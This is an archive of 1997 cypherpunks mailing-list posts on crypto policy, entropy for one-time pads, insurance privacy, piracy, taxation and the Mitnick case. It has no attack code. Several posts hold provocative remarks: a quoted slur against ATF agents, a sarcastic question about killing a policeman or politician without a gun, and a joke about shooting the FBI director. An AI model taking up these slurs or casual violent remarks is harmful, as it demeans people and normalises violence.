Computer Science and  will be available at the conference.   Clear 
instructions about the preparation of a final proceedings version will 
be sent to the authors of accepted papers. The final copies of the 
accepted papers will be due on June 5, 1998.

SUBMISSION: February 16, 1998 
ACCEPTANCE: April 30, 1998 
PROCEEDINGS VERSION: June 5, 1998

PROGRAM COMMITTEE:
Dan Boneh, Stanford University, USA
Don Coppersmith, IBM Research, USA
Yair Frankel, CertCo, USA
Matt Franklin, AT&T Labs - Research, USA
Johan Hastad, Royal Institute of Technology, Sweden
Lars Knudsen, University of Bergen, Norway
Hugo Krawczyk, Chair, Technion, Israel and IBM Research, USA
Ueli Maurer, ETH Zurich, Switzerland
Alfred Menezes, Auburn University, USA
Andrew Odlyzko, AT&T Labs - Research, USA
Rafail Ostrovsky, Bellcore, USA
Jean-Jacques Quisquater, Universite de Louvain, Belgium
Tal Rabin, IBM Research, USA
Matt Robshaw, RSA Laboratories, USA
Phillip Rogaway, University of California at Davis, USA
Rainer Rueppel, $R^3$ Security Engineering AG, Switzerland
Kazue Sako, NEC, Japan
Dan Simon, Microsoft Research, USA
Moti Yung, CertCo, USA

ADVISORY MEMBERS:
Burt Kaliski, chair Crypto'97, RSA Laboratories, USA 
Michael J. Wiener, chair Crypto'99, Entrust Technologies, Canada
Joe Kilian, electronic submissions, NEC Research Institute, USA

ADDRESS FOR NON-ELECTRONIC SUBMISSIONS:
Hugo Krawczyk, Program Chair, Crypto '98
Department of Electrical Engineering
Technion - Israel Institute of Technology 
Technion City, Haifa 32000
ISRAEL
Phone: (972) 4-829-4652    Fax:   (972) 4-832-3041 
E-mail: crypto98@ee.technion.ac.il

FOR OTHER INFORMATION CONTACT: 
Andrew Klapper, General Chair, Crypto '98
Department of Computer Science
763h Anderson Hall
University of Kentucky
Lexington, KY 40506  USA
Phone: (1) 606-257-3961 Fax:   (1) 606-323-1971
E-mail: crypto98@iacr.org

STIPENDS: A limited number of stipends are available to those unable 
to obtain funding to attend the conference. Students whose papers are 
accepted and who will present the paper themselves are encouraged to 
apply if such assistance is needed. Requests for stipends should be 
addressed to the General Chair.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Gary Howland <gary@hotlava.com>
Date: Thu, 6 Nov 1997 07:17:55 +0800
To: cypherpunks@toad.com
Subject: SSL Browser info
Message-ID: <199711052259.OAA29112@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi,

You may be interested to know that I've set up a web page at

	http://www.hotlava.com/demos/ssl-query.html

which displays the SSL version and cipher types of your browser.

Gary
-- 
pub  1024/C001D00D 1996/01/22  Gary Howland <gary@hotlava.com>
Key fingerprint =  0C FB 60 61 4D 3B 24 7D  1C 89 1D BE 1F EE 09 06 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 6 Nov 1997 16:19:00 +0800
To: kelsey@plnet.net
Subject: Re: Protocols for Insurance to Maintain Privacy
In-Reply-To: <199711052249.QAA06301@email.plnet.net>
Message-ID: <199711060003.AAA12962@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




John Kelsey <kelsey@plnet.net> writes:
> Suppose there is some genetic disease that kills its victims on
> their 31st birthday, unless they get a $1,000,000 treatment first.
> Before I have taken the test for this disease, I have to accept a
> certain risk--if I find out I have the disease, I have to raise a
> million dollars in the next few months.  After I have taken the test
> and gotten back the results, there's no more risk involved (assuming
> the test is perfect)--I either have the disease or I don't.  

The insurer can't determine whether you've taken the test.  The
insurer may insist on the test anyway or offer you unfavourable odds,
basically assuming you have privately tested and found positive
otherwise you wouldn't be refusing to have the test.  (A variation of
the `he must have something to hide' theme).  Unless you can afford
the premium for withholding this test, you're stuck.

> Before the test, though, insurance might be useful--I could
> essentially place a bet with someone that I had the disease--I pay
> $1, and get a million dollars back if my test comes back
> positive--just enough to pay for my treatment.

The insurance company would have no financial incentive to take on
such risks -- I reckon they'd sooner let the wanna-be customer die.
Nasty, but it's reality.

> >The alternative is not pretty: banning private testing
> >(how?) and forcing insurance companies to cover all
> >applicants for all conditions at a fixed rate.
> 
> I know.  Let me make it clear that I am not at all
> interested in banning private testing, coercing insurance
> companies or anyone else into agreements they don't want to
> make, etc.  I am saying it would be nice if I could buy
> insurance against the results of the tests before I took
> them.  The problem is, I can't see a really workable way to
> do this, because there's no way to keep people from taking
> the test beforehand.

I reckon your only option would be charity.  If these $1,000,000
treatment 1:1,000,000 odds genetically testable diseases are rare
(1:1mil is rare), perhaps a charity would be able to cover the costs.

The increased choice in insurance would ensure cheaper medical care
for all.  A deregulated medical profession with third party rating
services rather than top down government services should reduce prices
dramatically also.  Same for medical drugs, third party ratings.  Buy
your ratings service.

And being a hard line anarcho capitalist, I draw the conclusion that
if you can't afford to keep yourself alive, that is your problem.
(Heartless ain't it:-) Aside from comments about evolution in action
(perhaps I personally don't want to fund propogating these genetic
defects, and that is my choice), my suggestion is that such cases
would have to be met by charity.

A charity could also refuse to help people who hadn't donated, if
it chose.

I bet it would work too, and a lot more efficiently than the
government regulated setup now.

Heck I might even donate to it, with the savings I'd make from
the breakup of the medical cartel.

(UK is as socialist as it comes with medicine, and your taxes reflect
this.)

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Thu, 6 Nov 1997 16:25:30 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Raids on Cypherpunks?
Message-ID: <3.0.32.19971106002046.00694adc@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:

>(One can only hope. I'm getting tired of setting my traps every night and
>having no BATFags to show for it.)
.....................................................


You know, a long time ago (in '93) when L..D.(etweiler) was provoking the
list with his various "Secret Operations" against the "Big Macs" on the
list, you (Tim) remarked that you half expected to hear one day that he had
been shot and arrested (or was it shot and killed) for his bizarre behavior.

Ironically, I wonder if it will not be yourself, who one day is found under
those circumstances.

(Not that your behavior is bizarre, or anything).

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Fri, 7 Nov 1997 17:06:38 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Protocols for Insurance to Maintain Privacy
Message-ID: <199711070852.CAA31307@multi26.netcomi.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Adam Shostack wrote:
>Many insurance companies with Mutual in their name (Liberty Mutual is
>large in the Northeastern US) get that from being founded as mutual
>insurance companies, where you pay to be part of the mutual insurance
>group, and when you get sick, injured, etc, the group pays money
>towords your treatment.  I think it broke down with increases in
>mobility.  They were implicitly based on reputation capital, and were
>not highly fraud resistant.
>
>Adam's suggestion of a charity which only pays for the treatment of
>those who donate thus recreates an old system.

Mutual insurance companies are owned by the people who purchase their
policies.  The policy holders actually elect the management.  As there
are no policy holders who own a significant percentage of the
policies, the management of the companies do not have much feedback.
Surprisingly, they seem to function well.

However, these companies are not a thing of the past.  As of ten years
ago, the mutual life insurance companies managed about half the assets
in the life insurance market.

Many of them are quite old.  The Presbyterian Minister's Fund is the
oldest continuous life insurance company in the world.  It was founded
in 1759.

Mutuals are said to be formed when investors can't be found to provide
capital for the company.  A number of mutuals were formed in the
seventies to handle medical liability insurance which commercial
companies did not want to handle.  (It seems likely that somebody,
somewhere, was behaving irrationally. ;-)

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBNGLH4JaWtjSmRH/5AQGUDgf/VB1nTOZJqMVN1Rv9uqAydKxcIB3Mgwgj
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8FSZ+S+CnNbqttGwDkl3lktRubygycKrG9whBIIC0DhnPECXPAYsmG/OXdfRzbNG
iPGDfHDN7CtEsohrsC/lTI+3r8FqQ4PJ2n8JTB7BoXEhKmGlKd80YhFuA/98SkDk
GcS7eUwlN+E2PsbBUWS9h/gYo2iDGMo5oQgvc/kdLHzPRVw/E8i/PKW0bhYcMJ6X
RCrTbBRavphfBWpeMqOsqMPCP7wPmGYuLoTlLYfg3XtnTKvRJDDq7g==
=WNjT
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vipul Ved Prakash <vipul@best.com>
Date: Thu, 6 Nov 1997 04:22:55 +0800
To: cypherpunks@toad.com (Cypherpunks)
Subject: [news] TV station sets cybersex sting
Message-ID: <199711060101.BAA00649@fountainhead.net>
MIME-Version: 1.0
Content-Type: text



*** TV station sets cybersex sting

With cyperporn and cybersex ranking as sensational news items on
local TV stations, Fox's Los Angeles outlet has taken the trend a
step further by ensnaring adult sexual predators. KTTV's Fox 11 News
at 10 worked with a 21-year-old woman posing as a 14-year-old to
conduct cybersting operations that led to the arrests of five men.
KTTV used the unnamed woman as bait, having her enter online chat
rooms where she was immediately targeted. The station filmed the
online seductions as well as the arrests of the men, who included an
attorney, a doctor, a retired Army officer and an investigator for
the Dept. of Labor. See story at
http://www.infobeat.com/stories/cgi/story.cgi?id=5777644-464





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ian Grigg <iang@systemics.com>
Date: Thu, 6 Nov 1997 09:39:55 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Copyright commerce and the street musician protocol
In-Reply-To: <199711021807.MAA30019@email.plnet.net>
Message-ID: <34611C3B.60ACCF02@systemics.com>
MIME-Version: 1.0
Content-Type: text/plain



Robert Hettinga wrote:
> 
> At 7:13 pm -0500 on 11/2/97, Steve Schear wrote:
> 
> > The first somewhat serious treatment of this I saw was Hughes's DEFCON IV
> > presentation entitled, I believe, "Universal Piracy System."
> 
> I'm curious about this...
> 
> Did DEFCON IV happen before, or after, the rump session of FC97 (February
> 26? 1997), when Jason Cronk talked about recursive auctions on geodesic
> networks? Actually, now that I think about it, Ian Grigg did a talk about
> the sell-side inverse of the same idea in the same session...

DEFCON IV was well before FC97.  This was an issue I was chasing Eric
Hughes on.  As far as I understand it, this was unpublished in any form,
just presented, but many people have saw it (must have been a big
conference :-).  If anyone knows any different, please let me know
(except, "get in touch with Eric" because that was not resultful).

-- 
iang                                      systemics.com

FP: 1189 4417 F202 5DBD  5DF3 4FCD 3685 FDDE on pgp.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: phelix@vallnet.com
Date: Thu, 6 Nov 1997 12:52:42 +0800
To: cypherpunks@Algebra.COM
Subject: Re: [news] TV station sets cybersex sting
In-Reply-To: <2e0625753af7fff4e7937817f8607e96@anon.efga.org>
Message-ID: <3465472c.118146292@128.2.84.191>
MIME-Version: 1.0
Content-Type: text/plain



On 5 Nov 1997 22:24:09 -0600, Anonymous <anon@anon.efga.org> wrote:

>
>>*** TV station sets cybersex sting
>
>>With cyperporn and cybersex ranking as sensational news items on
>>local TV stations, Fox's Los Angeles outlet has taken the trend a
>>step further by ensnaring adult sexual predators. KTTV's Fox 11 News
>>at 10 worked with a 21-year-old woman posing as a 14-year-old to
>>conduct cybersting operations that led to the arrests of five men.
>>KTTV used the unnamed woman as bait, having her enter online chat
>>rooms where she was immediately targeted. The station filmed the
>>online seductions as well as the arrests of the men, who included an
>>attorney, a doctor, a retired Army officer and an investigator for
>>the Dept. of Labor. See story at
>>http://www.infobeat.com/stories/cgi/story.cgi?id=5777644-464
>
>And then they tricked a real 14 year old girl into meeting with them and
>having sex so that maybe, if they really, really tried very hard, they 
>could argue that a real crime had been committed, right?
>
>Didn't think so. 

And what will happen in court if these guys claim that they assumed that
the girl was really an older person pertending to be a 14 yr. old girl and
that they were just engaging in a little fantasy play?  Or have
thoughtcrimes finally become a reality?

-- Phelix





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Thu, 6 Nov 1997 13:21:05 +0800
To: cypherpunks@toad.com
Subject: Re: Springer/Gates Merger
Message-ID: <eYSXr9I18sNRTO/NDnnmrw==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



> CANADIAN NUTLY NEWS:
> [CNN, Bienfait, Saskatchewan] BAR OWNERS at the Coaldust Saloon,
> in violation of Canadian bartender/customer confidentiality laws,
> revealed details of a planned merger between Micro$oft and the
> Jerry Springer Show.

> "The success of Terminal Man
> showed that the future was in snuff-flicks, and Police Chases was
> the natural movement of that theme into the trend toward Real TV."

Let's see...if the police with the TV camera in their car get in
a chase with another vehicle, their chances of getting on primetime
TV increase in proportion to the threat posed to all involved,
including innocent bystanders.
So if the 'perp' kills or gets killed, the police officer gets to
sing on 'Star Search'? If the TV camera on the police cruiser gets
a particularly gory shot of the fleeing vehicle splattering a child
in a crosswalk, the cop gets a free dining room set?

I can hardly wait until Jane and Joe Public get their chance to
participate in an InterActive snuff-flick in WebWorld.

"It will never happen." you say?"
Like the Great Evil of Alcohol will never be taken out of the hands
of murderous criminals who make outrageous profits, and put into
the hands of governement, who makes an equally outrageous profit.
Like the government will not use their armed power to out-muscle
the scar-faced, pug-nosed thugs in the dark underworld, to take
over control of the Great Evil of Gambling.

Trust me when I say that I am not just being cynical about the
Sheeple (TM) in saying this.
If I had a chance for a shot at Louis J. Freeh on the 
Pay-per-InterAct Snuff Channel...

SnuffMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: phelix@vallnet.com
Date: Thu, 6 Nov 1997 12:52:42 +0800
To: cypherpunks@Algebra.COM
Subject: PGP's SMTP enforcer and ISPs
Message-ID: <346647dc.118322082@128.2.84.191>
MIME-Version: 1.0
Content-Type: text/plain



Recently, my ISP became the victim of spammers.  Their response, like many
other ISPs, is to block port 25 for all their dialup users.  This means
that all outgoing email must be routed through their mail server.

Now that PGP has an SMTP enforcers, and that others will eventually follow
with a S/MIME equivalent, we are literally an executive order away from an
effective (if not 100% complete) ban on "inappropriate" encryption on email
communications.

All it would take is a national emergency, like the next war against Saddam
Hussein, or a law that does not treat ISPs like common carriers and holds
them liable for what their users do.  

And the worst thing of all is that most people won't even notice it.  Hell,
I was the only person on my end to notice that my ISP had blocked port 25.

-- Phelix, "perfect paranoia is perfect awareness"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Young <eay@cryptsoft.com>
Date: Thu, 6 Nov 1997 03:02:35 +0800
To: Marc Horowitz <marc@cygnus.com>
Subject: Re: Copyright commerce and the street musician protocol
In-Reply-To: <t53yb35r8pl.fsf@rover.cygnus.com>
Message-ID: <Pine.GSO.3.96.971106044557.26497A-100000@pandora.cryptsoft.com>
MIME-Version: 1.0
Content-Type: text/plain




On 3 Nov 1997, Marc Horowitz wrote:
> Someone recently told me that game manufacturers have stopped worrying
> about piracy.  Why?  Because most new games come on CD-ROM, and
> copying a CD-ROM is an expensive, time-consuming operation.  Bulk
> duplication of CD's is substantially cheaper than one-off duplication,
> and since games are cheap, people will usually buy them rather than
> copy them.

hmm... Besides the initial cost of a CD writer (which is coming down alot),
blank CDs cost $8AU (or about $5US).  I would not call that expensive relative
to the game cost (about $90AU).  On a double speed drive it takes about 30
minutes to duplicate a 600meg game, lots less for those that don't fill the
CD :-).

I think this is starting to become a real problem.

> I'm unconvinced that there really is an Internet copyright problem,
> outside of traditional media publishers inventing it.

Having visited some friends recently that had most of the recent interesting
games written onto a few CDs (multiple games on single CDs) I don't agree.

eric





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Fri, 7 Nov 1997 21:14:27 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Privacy Software
Message-ID: <199711071306.HAA06073@multi26.netcomi.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Adam Back wrote:
>Java isn't so bad.  Just in time compilers are being shipped with
>some browsers (netscape on some platforms).  Sun now has native
>bigint library (good for you know what, and exportable because they
>haven't included the few lines required to implement public key
>encryption with it).

Okay, Java sounds pretty good.  The native bigint library clinches it!

>> While it may seem crazy to toss compatibility, it has some
>> advantages.  For instance, the only people who will use it are the
>> hardcore types.  I like the idea of an exclusive crypto system that
>> only cool people who are fairly with it use.
>
>I think there would be advantages to always tunneling the encrypted
>messages inside PGP, that way no snoops know you're using it, until
>it's too late.

Aside from political correctness issues, why not?  It would also be
nice to have an encrypted SMTP channel which happens to be riding on
IPSEC.

>> If the protocol doesn't accept multiple keys for a message it is
>> slightly CAK/GAK resistent.  And, it's a nice statement of intent.
>> It's also nice to have tools which help you to behave securely
>> without carefully thinking about it when you are using them.
>
>Forward secrecy is what you want for GAK resistance -- can't get much
>more GAK hostile than burning your keys seconds after message
>receipt.

The more I think about the more the separation of authentication keys
from communication keys seems like the way to go.  If both parties can
connect to each other's machines in real time, then a negotiated key
which is discarded is great.  More often everybody's offline, but that
just means you have to publish many different communications keys,
perhaps sorted by hours.  (Given remailer lag you might have to keep
communications keys around for a day or two after expiration, but
that's not too bad.)

>> The randseed.bin file has always bothered me.  What we really want
>> is some good sources of entropy in which we have tremendous
>> confidence.
>
>What's wrong with the randseed.bin and the public and private key
>rings is that they should all be encrypted with a key derived from
>your passphrase.

It's also complicated and hard to understand.  The Right Thing (TM) is
to simply solve the entropy problem correctly.

>> >I wonder how good linux's /dev/urandom would be if MD5 becomes even
>> >more suspect.
>> 
>> Well, neither of these would be good for a one time pad, of course.
>
>Linux's /dev/random might not be bad.  There is some real entropy in
>key strokes and mouse movements, and they are quite conservative
>about entropy estimation.  You can easily make it more conservative
>-- XOR together a load of it to derive a smaller key.

The problem with computers generating entropy is that they are
complicated machines which are designed to be deterministic.  While it
seems reasonable that keystrokes and mouse movements have some
entropy, its hard to really convince yourself that there couldn't be
patterns arising from the OS somehow.  For example, maybe the sample
times form weird patterns which are related to the scheduler.

By all means this can be XORed in, but it seems dangerous to rely upon
it if you are trying to be hardcore and use one time pads.

>> It would be neat to have, say, three sources of hardware randomness
>> and then XOR the result with the above pseudo random output.
>
>That'd be fine.  Personally not being a hardware type, I am
>suspicious of hardware RNGs.. I can't tell when they are going
>wrong.. failure modes can be dangerous (whoops lead fell of geiger
>tube), etc.

Most plausible failure modes in hardware should be detectable with the
usual tests for "randomness".

>Software and computers are easier to understand.  Provided you XOR
>the lot together you should be fine though.

Software and computers are highly complex devices and we don't truly
understand every aspect of their operation.  We can say it's unlikely
that there are patterns in the bits they generate, but if we resorting
to one time pads, it seems to me that the entropy question has to be
nailed down completely.  (Not that I have a good solution, yet.  As
you pointed out, one time pads consume a lot of entropy.  It takes a
long time to flip a coin 1.5 MB * 1024 bytes/MB * 8 bits/byte times!)

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

-----BEGIN PGP SIGNATURE-----
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EtMt0rtC6jHGl8dag7zfZLpiIrl6mObMexbh5gAJ40Fb6Ei0HLbZ0g==
=4BA0
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 6 Nov 1997 12:24:10 +0800
To: cypherpunks@toad.com
Subject: Re: IRS reform bill going strong [CNN]
Message-ID: <199711060406.FAA05588@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate wrote:
> > IRS Reform Bill Skates Through House
> >    The bill's centerpiece is an 11-member board made up mostly of private
> >    citizens that would oversee the IRS and help manage its long-term
> >    projects.
> >
> >    Bill sponsor Rob Portman (R-Ohio) said the measure marked "the first
> >    time in 45 years that we have attempted as a Congress to enact
> >    fundamental reform."

Gee, and the IRS is being put in the hands of private citizens just
before the Y2K problem comes to a head.
Hhmmm...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 6 Nov 1997 12:21:05 +0800
To: cypherpunks@toad.com
Subject: Re: Government goons force Goddard to recant
Message-ID: <199711060407.FAA05681@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:
> 
> Time to add a new horseman: "conspiracy theory-spreading libertarians"

>      Goddard says he wanted to promote libertarian ideology by
>      encouraging distrust of the government.

It's amazing how a few minutes in a cell with Jim Bell can help
people see the error of their ways.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 6 Nov 1997 12:25:18 +0800
To: cypherpunks@toad.com
Subject: A Constitutionalist Recants
Message-ID: <199711060410.FAA05997@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Law & Order has showed me the error of my ways.

After watching tonight's show, I realized that those who 'hide behind
the Constitution' are all murderers.

I was so proud of the judge who made his speech about supporting the
concepts behind the constitution, and then was able to see his error
in not throwing it out the window because of a single dead person.
I cheered when the judge dismissed a juror for quoting the founding
fathers.

God bless what used to be America!

ReformedConstitutionalistMonger
"Sure, Dan Quayle was an idiot for getting all worked up over a
 Murphy Brown episode, but this is different...isn't it?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Fed's Bait Shop" <fed@dev.null>
Date: Thu, 6 Nov 1997 19:26:55 +0800
To: cypherpunks@toad.com
Subject: Re: Speech as co-conspiring? I don't think so.
Message-ID: <199711061118.FAA17251@harrier.sasknet.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain



Fred wrote:
> Mix wrote:
> 
> > (*) Tim seems too wiley to be crazy.  Instead, he seems to be playing
> > The Most Dangerous Game: Fed baiting.
>                            ^^^ (typo)
> 
> Could you tell me the best way to kill a policeman, politician, or
> world leader, without using a gun?

Of course, I want to make it perfectly clear that I am referring 
only to doing so as a member of a freedom-fighting organization
whose aims are fully supported by any government who might want
to prosecute me for asking a hypothetical question of this 
nature.
And, naturally, I would only be interested in those methods of
killing that would result in the deaths of only those who are
the evil enemies of any government who might want to prosecute
me for asking a hypothetical question of this nature.

Fred






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 6 Nov 1997 18:40:48 +0800
To: aba@dcs.ex.ac.uk
Subject: Re: Protocols for Insurance to Maintain Privacy
In-Reply-To: <199711060003.AAA12962@server.test.net>
Message-ID: <199711061032.FAA08872@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



Many insurance companies with Mutual in their name (Liberty Mutual is
large in the Northeastern US) get that from being founded as mutual
insurance companies, where you pay to be part of the mutual insurance
group, and when you get sick, injured, etc, the group pays money
towords your treatment.  I think it broke down with increases in
mobility.  They were implicitly based on reputation capital, and were
not highly fraud resistant.

Adam's suggestion of a charity which only pays for the treatment of
those who donate thus recreates an old system.

Adam

Adam Back wrote:

| And being a hard line anarcho capitalist, I draw the conclusion that
| if you can't afford to keep yourself alive, that is your problem.
| (Heartless ain't it:-) Aside from comments about evolution in action
| (perhaps I personally don't want to fund propogating these genetic
| defects, and that is my choice), my suggestion is that such cases
| would have to be met by charity.
| 
| A charity could also refuse to help people who hadn't donated, if
| it chose.


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 6 Nov 1997 21:17:31 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: church of crypto anarchy (Re: Taxing Churches for their views? Bad idea. (fwd)) (fwd)
Message-ID: <199711061315.HAA23838@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 6 Nov 1997 08:52:15 GMT
> From: Adam Back <aba@dcs.ex.ac.uk>
> Subject: Re: church of crypto anarchy (Re: Taxing Churches for their views? Bad idea. (fwd)) (fwd)

> Jim Choate <ravage@ssz.com> writes:
> > Adam Back <aba@dcs.ex.ac.uk>
> > > Seems to me that the distinction that churches are exempt from taxes
> > > partly hinges on their non-profit, or not-for-profit status.
> > 
> > No, it stems from the fundamental democratic axiom of seperation of church
> > and state. If the churches pay taxes they aren't seperate. 
> 
> I pay taxes, I am separated from the state.

Do you hold US citizenship? If so then, no, your assertion of seperation
from the state is incorrect. It's that pesky "We the people..." thing.
If you want to be considered seperate from the US *AND* you don't want to
pay US taxes then renounce your US citizenship and move to another country
*OR* figure out a way to become your own 1 person church.

Like it or not that's the way it works.

> > If the state supports churches they aren't seperate.
> 
> If the state doesn't tax churches they are subsidizing them relative
> to other sorts of organisations.  This is surely a form of support.

Subsidize means to pay, the government does not pay as a rule pay the
churches anything, that would violate the seperation clause as well.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 6 Nov 1997 20:32:01 +0800
To: cypherpunks@toad.com
Subject: Mitnick Rings Bell
Message-ID: <1.5.4.32.19971106122235.00a31158@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



 6 November 1997, Digital Cellular Report:

 U.S. government takes hard line on Mitnick. US Hacker Pleads for Help 

 A US 'hacker'- Kevin David  Mitnick - has issued a plea for financial help to 
 fight his defence case through his lawyer, Donald  C Randolph of Santa Monica, 
 USA. Through Randolph, Mitnick is claiming that the US government is
seeking to 
 make an example of him for the possession of unauthorised cellular access
codes. 
 The issue is particularly important in the North American market where
analogue, 
 rather than digital cellular, is the norm. 

 In one of the most amazing claims, Mitnick claims to have been kept in solitary
 confinement for 23 hours a day, naked in a freezing air-conditioned cell
for eight
 months and led to the showers in chains. Perhaps the most puzzling aspect
to the
 whole case is the fact that while the US government has never sought to prove
 that Mitnick profited from his 'hacking' activities - although he could
certainly have
 done so by 'selling' stolen airtime to third parties. Instead they claim he
caused
 losses in excess of $80 million. Kevin certainly appears to be paying the
price for
 his nefarious deeds having already spent nearly two years in custody during
which
 time he has been prohibited from any access to wireless communications
 equipment, computer hardware or computer software. It's difficult to know
 exactly which side is the more paranoid since Mitnick is claiming that his
fate is
 part of a deliberate US government plot to divert scrutiny away from its plans
 concerning the control and regulation of both telecommunications and the
Internet.
 The case would seem to present a most powerful argument for the US to switch
 more swiftly over to digital cellular where 'hacking' is far more difficult. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mixmaster <mixmaster@remail.obscura.com>
Date: Fri, 7 Nov 1997 00:07:42 +0800
To: cypherpunks@cyberpass.net
Subject: Clarifying the Language
Message-ID: <199711061550.HAA23134@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

TruthPastor wrote:
>Jim Burnes wrote:
>> On Wed, 5 Nov 1997, Anonymous wrote:
>> >   Churches, like governments, corporations, or any other organized
>> > entity, have some wonderful people in them, doing wonderful things.
>> > The problem, as always, is what our founding fathers realized--these
>> > types of organizations/structures tend to grow and attain power which
>> > is then used for the purpose of self-sustained growth (survival).
>> >   Humanity tends to evolve, while organized humanity tends to de-volve.
>> > Biped humans, walking upright, form organizations which move toward
>> > becoming quadrapeds dragging large clubs.
>
>> Ha!  This is pretty interesting.  Rather than the typical cypherpunk
>> approach of eliminating such inefficient and corrupting methods as
>> income taxation and tax exemption we are playing by their game.

Pathetic, isn't it?

>  Taxation and exemptions are, conceptually, no different than a
>tribal agreement that those who bring home the deer will share
>with those who guard the campsite, and that the shaman who keeps
>the evil spirits at bay has to do neither.

The important word in this sentence is "agreement".  If the American 
taxpayer does not agree with how his tax money is being used, does he not 
have the right to demand that it be used in an appropriate way?  If his 
demands go unanswered, does he not have the right to refuse to continue 
paying?  If the American taxpayer does not like substandard education, 
abortion, weapons manufacturing, destructive environmental legislation, and 
so forth, why should she be forced to pay for it?

The simple fact is that taxation in America has ceased to be an agreement, 
and has devolved into extortion with the threat of jail/forfeiture for 
"non-compliance".

>> The whole of [Orwell's] warning to society was that by systematically
>> altering the language, you alter the things that can be discussed.
>
>  I believe that half of the disagreements on the cypherpunks list,
>and the vast majority of disagreements in the world in general, are
>the result of disputes over semantics, rather than beliefs.

If one were to break down the anti-Income Tax argument to its most basic 
level, it would be that the government does not have the right to extort 
money from its citizens to promote agendas which are destructive of the 
citizens' persons and property.  Basic Common Sense (TM).

Nerthus

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

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ky2qhCSlFcjXEtqB6IBvPkzqd7lUK/lpv7VQzgsUrz6kS97l566sQTSILzF10mN2
NUT2CawCaU+69ZzR+oNwe6V8Yf1CWygIDYKnOiSpwRYsB6AV0kZcb5RKIYfDnNe7
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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 6 Nov 1997 20:59:42 +0800
To: ravage@ssz.com
Subject: Re: church of crypto anarchy (Re: Taxing Churches for their views? Bad idea. (fwd)) (fwd)
